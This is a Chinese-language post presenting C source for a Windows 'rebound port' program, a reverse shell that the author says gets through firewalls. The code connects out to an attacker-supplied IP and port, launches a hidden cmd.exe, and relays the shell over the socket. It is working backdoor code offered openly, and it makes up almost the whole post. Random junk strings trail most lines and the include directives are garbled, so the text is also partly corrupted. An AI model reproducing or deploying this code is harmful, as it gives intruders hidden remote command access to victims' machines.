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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NiZfaC6V  
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/* ============================== K!6T8^JH  
Rebound port in Windows NT hY`<J]-'`  
By wind,2006/7 7hHID>,o9%  
===============================*/ ZSuoD$~k[  
#include TxJk.c  
#include OG5{oH#K  
}9^:(ty2A  
#pragma comment(lib,"wsock32.lib") M& ZKc  
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void OutputShell(); y\T$) XGV  
SOCKET sClient; tgF~5 o}?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U#z"t&o=L  
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void main(int argc,char **argv) ~<[+!&<U  
{ =-r"@2HBq  
WSADATA stWsaData; y!b2;- Dp  
int nRet; I~&*^q6 |  
SOCKADDR_IN stSaiClient,stSaiServer; 2P"643tz  
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if(argc != 3) JWNN5#=fQ  
{ W Z'<iI  
printf("Useage:\n\rRebound DestIP DestPort\n"); Jh-yIk  
return; E=I'$*C \D  
} }>{R<[I!G  
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WSAStartup(MAKEWORD(2,2),&stWsaData); xrf|c  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rS [4Pey  
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stSaiClient.sin_family = AF_INET; 'gY?=,dF>  
stSaiClient.sin_port = htons(0); "Hw%@]#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RdX+:!lD  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MSCH6R"5  
{ \l/(L5gY  
printf("Bind Socket Failed!\n"); jwI2T$  
return; Q`k;E}x_-  
} JN8Rh  
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stSaiServer.sin_family = AF_INET; y4kn2Mw;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7J);{ &x9h  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bW`nLiw}%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k6#$Nb606  
{ v?He]e'  
printf("Connect Error!"); jkk%zu  
return; _ s 3aaOL  
} O~5t[  
OutputShell(); 1K/HVj+'.  
} ?8O5%IrJ  
#w;"s*  
void OutputShell() n*[ZS[I  
{ 3eUi9_s+  
char szBuff[1024]; 02,t  
SECURITY_ATTRIBUTES stSecurityAttributes; >#h,q|B  
OSVERSIONINFO stOsversionInfo; -8)Hulo/{U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ef'kG"1  
STARTUPINFO stStartupInfo; /` M#  
char *szShell; e#oK% {A  
PROCESS_INFORMATION stProcessInformation; ;r@=[h   
unsigned long lBytesRead; 7&id(&y/  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;pm/nu  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N:B<5l '  
stSecurityAttributes.lpSecurityDescriptor = 0; t^&hG7L_m,  
stSecurityAttributes.bInheritHandle = TRUE; !60U^\  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1tY+0R  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6$OmOCA%  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u0W6u} 4;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V?OTP&+J%  
stStartupInfo.wShowWindow = SW_HIDE; lW"0fZ_x'E  
stStartupInfo.hStdInput = hReadPipe; N_92,xI#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,~3rY,y-  
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GetVersionEx(&stOsversionInfo); #j Tkz  
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switch(stOsversionInfo.dwPlatformId) ]EK(k7nH  
{ .c>6}:ye  
case 1: 9 m8KDB[N  
szShell = "command.com"; %oqKpD+  
break; Ko&4{}/  
default: 2|"D\N  
szShell = "cmd.exe"; /[?} LrDO  
break; <zpxodM@T  
} +o@:8!IM1  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); H`M|B<.  
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send(sClient,szMsg,77,0); |[~ S&  
while(1) {_!,T%>+1  
{ p"P+8"`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Lv@WI6DM  
if(lBytesRead) UIU Pi gd  
{ m=n79]b:N  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;%0kzIvP  
send(sClient,szBuff,lBytesRead,0); nP[Z6h  
} KC"S0 6  
else ]-t>F  
{ b~UWFX#U  
lBytesRead=recv(sClient,szBuff,1024,0); sPc}hG+N  
if(lBytesRead<=0) break; vw>(JCR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ktPM66`b  
} .RmFYV0,  
} sf$hsPC^  
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return; GPni%P#a@0  
}
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